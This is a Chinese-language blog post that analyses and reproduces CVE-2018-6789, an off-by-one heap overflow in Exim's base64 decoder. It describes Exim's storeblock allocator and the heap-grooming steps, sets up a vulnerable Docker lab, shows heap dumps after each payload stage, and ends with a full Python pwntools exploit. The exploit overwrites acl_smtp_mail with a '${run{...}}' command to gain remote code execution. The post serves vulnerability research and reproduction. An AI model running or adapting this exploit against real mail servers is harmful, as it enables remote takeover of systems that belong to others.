• Home
  • About
    • le3d1ng photo

      le3d1ng

      wake up u need #...

    • Learn More
    • Twitter
    • Facebook
    • Instagram
    • Tumblr
    • Github
    • Steam
  • Posts
    • All Posts
    • All Tags
  • Links

2019.5.26 CVE-2018-6789

26 May 2019

Reading time ~7 minutes

CVE-2018-6789 exim off-by-one 漏洞分析与复现

前言

之前省赛notepad那个题就是根据这个洞改的。整体思路也差不多。 一些相关机制等见ref,讲的比较清楚了。 主要记录一下调试过程。

复现环境

docker(exim-4.89) + Pwngdb

漏洞分析

解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节。

但是如果传入的密文长度为4n + 3 字节,则函数会将最后三个字节解码为两个字节,最终明文长度为3n+2个字节,而分配的堆空间的大小为3n+1。就会发生off-by-one了。

基础知识

exim自己的内存管理机制:

extern BOOL    store_extend_3(void *, int, int, const char *, int);  /* The */
extern void    store_free_3(void *, const char *, int);     /* value of the */
extern void   *store_get_3(int, const char *, int);         /* 2nd arg is   */
extern void   *store_get_perm_3(int, const char *, int);    /* __FILE__ in  */
extern void   *store_malloc_3(int, const char *, int);      /* every call,  */
extern void    store_release_3(void *, const char *, int);  /* so give its  */
extern void    store_reset_3(void *, const char *, int);    /* correct type */
  1. store_free() 和 store_malloc() 直接调用glibc中的 free() 和 malloc().

  2. store_get() , store_release() , store_extend() 和 store_reset() 用来维护exim中的storeblocks结构体链表.从而实现高效的内存管理.

  3. storeblocks是exim自己内存管理系统中的一个结构体。它由一个链表链接起来:

    5cea11519279244681

    其中:chainbase是头结点,指向第一个storeblock,current_block是尾节点,指向链表中的最后一个节点。store_last_get指向current_block中最后分配的空间,next_yield指向下一次要分配空间时的起始位置,yield_length则表示当前store_block中剩余的可分配字节数。当current_block中的剩余字节数(yield_length)小于请求分配的字节数时,会调用malloc分配一个新的storeblock块,然后从该storeblock中分配需要的空间。

    每个storeblock的内存布局如下图, 它的主要特点是每个block至少有0x2000个字节 , 也就是说对应chunk大小至少为0x2021 , next指向下一个storeblock:

    5cea1158934fc78847

堆布局的方法:

  1. EHLO hostname

    1. 调用store_free()释放上一个hostname

    2. 调用store_malloc()为新的hostname分配空间

        //smtp_in.c: 1907 check_helo(源码已经有不同,下面是meh发布时的源码)
        1839 /* Discard any previous helo name */
        1840
        1841 if (sender_helo_name != NULL)
        1842   {
        1843   store_free(sender_helo_name);
        1844   sender_helo_name = NULL;
        1845   }
        ...
        1884 if (yield) sender_helo_name = string_copy_malloc(start);
        1885 return yield;
      
  2. Unrecognized command

    exim会使用store_get()为所有未知且包含不可打印字符的指令分配空间,并将它们转换成可打印字符.

    const uschar *
    string_printing2(const uschar *s, BOOL allow_tab)
    {
    int nonprintcount = 0;
    int length = 0;
    const uschar *t = s;
    uschar *ss, *tt;
       
    while (*t != 0)
      {
      int c = *t++;
      if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
      length++;
      }
       
    if (nonprintcount == 0) return s;
       
    /* Get a new block of store guaranteed big enough to hold the
    expanded string. */
       
    ss = store_get(length + nonprintcount * 3 + 1);
    
  3. AUTH

    在大部分验证过程中,exim使用base64编码过的数据与客户端进行通信。编码和解码的字符储存在由store_get()分配的缓冲区内。

    其中的数据可以包括不可打印字符,NULL字符,且不以\x00结尾.

  4. Reset in EHLO/HELO, MAIL, RCPT

    当EHLO/HELO, MAIL, RCPT中某一个命令被成功执行之后,smtp_reset()会被调用.它会调用store_reset()来重置storeblocks的链表。也就是说所有在上个命令之后由store_get()分配的storeblock都会被释放。

    int
    smtp_setup_msg(void)
    {
    int done = 0;
    BOOL toomany = FALSE;
    BOOL discarded = FALSE;
    BOOL last_was_rej_mail = FALSE;
    BOOL last_was_rcpt = FALSE;
    void *reset_point = store_get(0);
       
    DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
       
    /* Reset for start of new message. We allow one RSET not to be counted as a
    nonmail command, for those MTAs that insist on sending it between every
    message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
    TLS between messages (an Exim client may do this if it has messages queued up
    for the host). Note: we do NOT reset AUTH at this point. */
       
    smtp_reset(reset_point);
    

环境搭建

sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
docker ps
sudo docker exec -i -t containerid /bin/bash
apt-get update
apt-get install vim gdb git
git clone https://github.com/scwuaptx/peda.git ~/peda
git clone https://github.com/scwuaptx/Pwngdb.git
cp ~/Pwngdb/.gdbinit ~/

使用exp与docker中的exim服务建立连接之后,在docker中使用pstree -p PID查看exim的子进程,再使用gdb attach上去即可。

5cea19150cc2e20327

5cea192656e5a38323

调试过程

利用思路: 利用exim自带的功能对堆进行布局,构造overlap chunk,覆写inuse的storeblock的next位置为acl_smtp_mail所在的storeblock的地址(next指向下一个storeblock)。 将其free,acl_smtp_mail所在的storeblock的地址会被放入unsorted bin。可以分配到它,从而覆写acl_smtp_mail为想要执行的命令。(${run{cmd}})

根据ref查看的每步的内存布局:

all before:

0xa06e30            0x7f4348d2b260      0x230                Used                None              None
0xa07060            0x7f4348d2b260      0x8010               Used                None              None
0xa0f070            0x0                 0x2010               Used                None              None
0xa11080            0x0                 0x1010               Used                None              None

                  top: 0xa12090 (size : 0x1ff70) 
       last_remainder: 0xa068b0 (size : 0xf0) 
            unsortbin: 0x0


-----------------------------------------------------------------------------------------------------------
after 0x1000 


0xa12090            0x0                 0x1010               Used                None              None
0xa130a0            0x0                 0x6060               Freed     0x7f4348d2cb78    0x7f4348d2cb78
0xa19100            0x6060              0x2020               Used                None              None
0xa1b120            0x0                 0x2020               Used                None              None

                  top: 0xa1d140 (size : 0x14ec0) 
       last_remainder: 0xa068b0 (size : 0xf0) 
            unsortbin: 0xa130a0 (size : 0x6060)


-----------------------------------------------------------------------------------------------------------
after 0x20


0xa12090            0x0                 0x30                 Used                None              None
0xa120c0            0x6161616161616100  0x7040               Freed     0x7f4348d2cb78    0x7f4348d2cb78
0xa19100            0x7040              0x2020               Used                None              None
0xa1b120            0x0                 0x2020               Used                None              None

                  top: 0xa1d140 (size : 0x14ec0) 
       last_remainder: 0xa120c0 (size : 0x7040) 
            unsortbin: 0xa120c0 (size : 0x7040)


-----------------------------------------------------------------------------------------------------------
after 0x700


0xa12090            0x0                 0x30                 Used                None              None
0xa120c0            0x6161616161616100  0x2020               Used                None              None
0xa140e0            0x0                 0x5020               Freed     0x7f4348d2cb78    0x7f4348d2cb78
0xa19100            0x5020              0x2020               Used                None              None
0xa1b120            0x0                 0x2020               Used                None              None

                  top: 0xa1d140 (size : 0x14ec0) 
       last_remainder: 0xa120c0 (size : 0x2020) 
            unsortbin: 0xa140e0 (size : 0x5020)


-----------------------------------------------------------------------------------------------------------
after 0x2c00


0xa12090            0x0                 0x2050               Freed     0x7f4348d2cb78          0xa1d140
0xa140e0            0x2050              0x2c10               Used                None              None
0xa16cf0            0x0                 0x2410               Freed           0xa1d140    0x7f4348d2cb78
0xa19100            0x2410              0x2020               Used                None              None
0xa1b120            0x0                 0x2020               Used                None              None
0xa1d140            0x0                 0xb0a0               Freed           0xa12090          0xa16cf0



                  top: 0xa2da50 (size : 0x205b0) 
       last_remainder: 0xa120c0 (size : 0x2020) 
            unsortbin: 0xa16cf0 (size : 0x2410) <--> 0xa1d140 (size : 0xb0a0) <--> 0xa12090 (size : 0x2050)

-----------------------------------------------------------------------------------------------------------
after payload1




0xa12090            0x0                 0x2050               Used                None              None
0xa140e0            0x1164646464646464  0x2cf0               Freed(used)3636363636363630x6363636363636363


0xa16cf0            0x0                 0x2020               Used                None              None
0xa18d10            0x0                 0x3f0                Used                None              None



                  top: 0xa2da50 (size : 0x205b0) 
       last_remainder: 0xa120c0 (size : 0x6464646464646460) 
            unsortbin: 0xa18d10 (size : 0x3f0)
         largebin[56]: 0xa1d140 (size : 0xb0a0)

-----------------------------------------------------------------------------------------------------------
after payload2 forge chunk size



0xa12090            0x0                 0x2050               Used                None              None
0xa140e0            0x1164646464646464  0x2cf0               Used                None              None
0xa16dd0            0x6d6d6d6d6d6d6d6d  0x1f40               Used                None              None
0xa18d10            0x0                 0x90                 Used                None              None
0xa18da0            0x0                 0x360                Freed     0x7f4348d2cb78    0x7f4348d2cb78

                  top: 0xa2da50 (size : 0x205b0) 
       last_remainder: 0xa18da0 (size : 0x360) 
            unsortbin: 0xa18da0 (size : 0x360)
         largebin[56]: 0xa1d140 (size : 0xb0a0)
-----------------------------------------------------------------------------------------------------------
after release extended chunk


0xa12090            0x0                 0x2050               Used                None              None
0xa140e0            0x1164646464646464  0x2cf0               Freed           0xa18da0    0x7f4348d2cb78
0xa16dd0            0x2cf0              0x1f40               Used                None              None
0xa18d10            0x0                 0x90                 Used                None              None
0xa18da0            0x0                 0x360                Freed     0x7f4348d2cb78          0xa140e0


                  top: 0xa2da50 (size : 0x205b0) 
       last_remainder: 0xa18da0 (size : 0x360) 
            unsortbin: 0xa140e0 (size : 0x2cf0) <--> 0xa18da0 (size : 0x360)
         largebin[56]: 0xa1d140 (size : 0xb0a0)

-----------------------------------------------------------------------------------------------------------
after payload3


0xa12090            0x0                 0x2050               Used                None              None
0xa140e0            0x1164646464646464  0x2c30               Used                None              None
0xa16d10            0xa16c00            0xc0                 Freed     0x7f4348d2cc28    0x7f4348d2cc28
0xa16dd0            0xc0                0x1f40               Used                None              None
0xa18d10            0x0                 0x90                 Used                None              None
0xa18da0            0x0                 0x360                Freed     0x7f4348d2cec8    0x7f4348d2cec8



                  top: 0xa30690 (size : 0x1d970) 
       last_remainder: 0xa18da0 (size : 0x360) 
            unsortbin: 0x0
(0x360)  smallbin[52]: 0xa18da0
(0x0c0)  smallbin[10]: 0xa16d10
         largebin[32]: 0xa275d0 (size : 0xc10)


-----------------------------------------------------------------------------------------------------------
after realease storeblock



0xa12090            0x0                 0x2050               Freed     0x7f4348d2cb78          0xa16cf0
0xa140e0            0x2050              0x2c30               Freed           0xa1d150            0x2c10


0xa16cf0            0x0                 0x2020               Freed           0xa12090          0x9f3470

                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa16d30 (size : 0xa0) 
            unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18da0 (size : 0x43a0) <--> 0x9f80d0 (size : 0xc0c0) <--> 0x9f3470 (size : 0x2020) <--> 0xa16cf0 (size : 0x2020) <--> 0xa12090 (size : 0x2050)
(0x0a0)  smallbin[ 8]: 0xa16d30 (overlap chunk with 0xa16cf0(freed) )


-----------------------------------------------------------------------------------------------------------
after payload4



0xa12090            0x0                 0x2050               Freed     0x7f4348d2d218    0x7f4348d2d218
0xa140e0            0x2050              0x2c30               Used                None              None

0xa16cf0            0x0                 0x2020               Used                None              None
(0xa16dd0:  0x00000000000000b0  0x0000000000001f40)
0xa18d10            0x0                 0x90                 Used                None              None
0xa18da0            0x0                 0x43a0               Freed               None              None


                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa16d30 (size : 0x7474747474747470) 
            unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18da0 (size : 0x43a0) <--> 0x9f80d0 (size : 0xc0c0) <--> 0x9f3470 (size : 0x2020)
(0x0a0)  smallbin[ 8]: 0xa16d30 (invaild memory)
         largebin[43]: 0xa12090 (size : 0x2050)

-----------------------------------------------------------------------------------------------------------
after payload5


0xa12090            0x0                 0x2050               Freed     0x7f4348d2d218    0x7f4348d2d218
0xa140e0            0x2050              0x2c30               Used                None              None


0xa16cf0            0x0                 0x2020               Used                None              None
(0xa16dd0:  0x00000000000000b0  0x0000000000001f40)
0xa18d10            0x0                 0x90                 Used                None              None
0xa18da0            0x0                 0x43a0               Freed               0x9f80d0      0xa275d0

                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa16d30 (size : 0x7474747474747470) 
            unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18da0 (size : 0x43a0) <--> 0x9f80d0 (size : 0xc0c0)
(0x0a0)  smallbin[ 8]: 0xa16d30 (invaild memory)
         largebin[43]: 0xa12090 (size : 0x2050)


伪造chunk size的时候,储存了不止一个输入字符,而是两个,动态调试观察offset。并且注意inuse bit,防止free时产生错误。

x/18gx &acl_smtp_mail

0x9f3508 0x9f3480


                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa16d60 (size : 0xa0) 
            unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18d90 (size : 0x43b0) <--> 0x9f80d0 (size : 0xc0c0) <--> 0x9f3470 (size : 0x2020) <--> 0xa16d20 (size : 0x2020) <--> 0xa12090 (size : 0x2080)
(0x0a0)  smallbin[ 8]: 0xa16d60 (overlap chunk with 0xa16d20(freed) )



                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa1cfb0 (size : 0x190) 
            unsortbin: 0xa1cd60 (size : 0x3e0) <--> 0xa27620 (size : 0x6430)
(0x060)  smallbin[ 4]: 0xa140b0
(0x0a0)  smallbin[ 8]: 0xa16d60 (invaild memory)
         largebin[56]: 0x9f80d0 (size : 0xc0c0)



                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa16d60 (size : 0xa0) 
            unsortbin: 0xa2b700 (size : 0x2350)
(0x290)  smallbin[39]: 0xa1ceb0
(0x0a0)  smallbin[ 8]: 0xa16d60
         largebin[56]: 0x9f80d0 (size : 0xc0c0)
         largebin[43]: 0x9f3470 (size : 0x2020)


                  top: 0xa326b0 (size : 0x1b950) 
       last_remainder: 0xa16d60 (size : 0xa0) 
            unsortbin: 0xa021b0 (size : 0x1fe0)
(0x0a0)  smallbin[ 8]: 0xa16d60
(0x290)  smallbin[39]: 0xa1ceb0
(0x330)  smallbin[49]: 0xa2d720


0x9ed08a.


0xa16d98

0x9f3490
0x9f3508

根据原理自己重新编写的exploit:

#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年05月28日 星期二 17时20分41秒
# File Name: exp3.py
# Description:
"""
from pwn import *
import base64


def ehlo(content):
  sleep(0.5)
  io.sendline('ehlo '+content)
  io.recv()

def auth(content):
  sleep(0.5)
  io.sendline('AUTH CRAM-MD5')
  io.recv()
  sleep(0.5)
  io.sendline(content)
  io.recv()

def cmd(cmd):
  sleep(0.5)
  io.sendline(cmd)
  io.recv()

io = remote('127.0.0.1',25)
io.recv()
context.log_level = 'debug'


ehlo('a'*0x1000) #新建大chunk
ehlo('a'*0x50) #内存布局
cmd('\xff'*0x700) #at least 0x700 or will not malloc a new storeblock
ehlo('a'*0x2c00) #内存布局

p = base64.b64encode(('d'*(0x2080-0x18-1)))+'EfE' #覆盖中间chunk的size最低字节为0xf0,把后面的一个chunk给overlap掉
#p  = ('d'*8064).encode('base64')
auth(p)

p2 = base64.b64encode('a'*(0x40-0x18+0x8)+p64(0x1f41)) #伪造fake chunk的size,防止free时崩溃
auth(p2)


ehlo('le3d1ng\xff')#(需要包括不可打印字符) #将被覆盖size的chunk free掉


addr = 0x9f3
p3=base64.b64encode('b'*(0x2bb0+0x40) + p64(0) + p64(0x2021) + p8(0x80) + p64(addr*0x10+4)) #分配被覆盖size的chunk,覆盖后面inuse的storeblock的next指针为acl所在storeblock
auth(p3)


ehlo('crashed') #将acl所在chunk放入unsorted bin , 链表前面还有两个chunk.


p4 = base64.b64encode('l'*(0x2000-0x500)) + 'ee' # 分配链表前面的chunk
auth(p4)

p5 = base64.b64encode('c'*(8104-0xa0))+"ee" # 分配链表前面的chunk
auth(p5)


command = "${run{/usr/bin/touch /tmp/success}}" #分配到acl所在chunk 覆写为命令
p6 = base64.b64encode('x'*(0x50+0x28)+command+'\x00') + 'ee'
auth(p6)

sleep(0.5)
io.sendline('MAIL FROM: <le3d1ng@me.com>')
#io.interactive()

5cea192656e5a38002

Ref

https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ https://bbs.pediy.com/thread-225986.htm https://www.freebuf.com/vuls/166519.html



eximheapoverflowrevulncve Share Tweet +1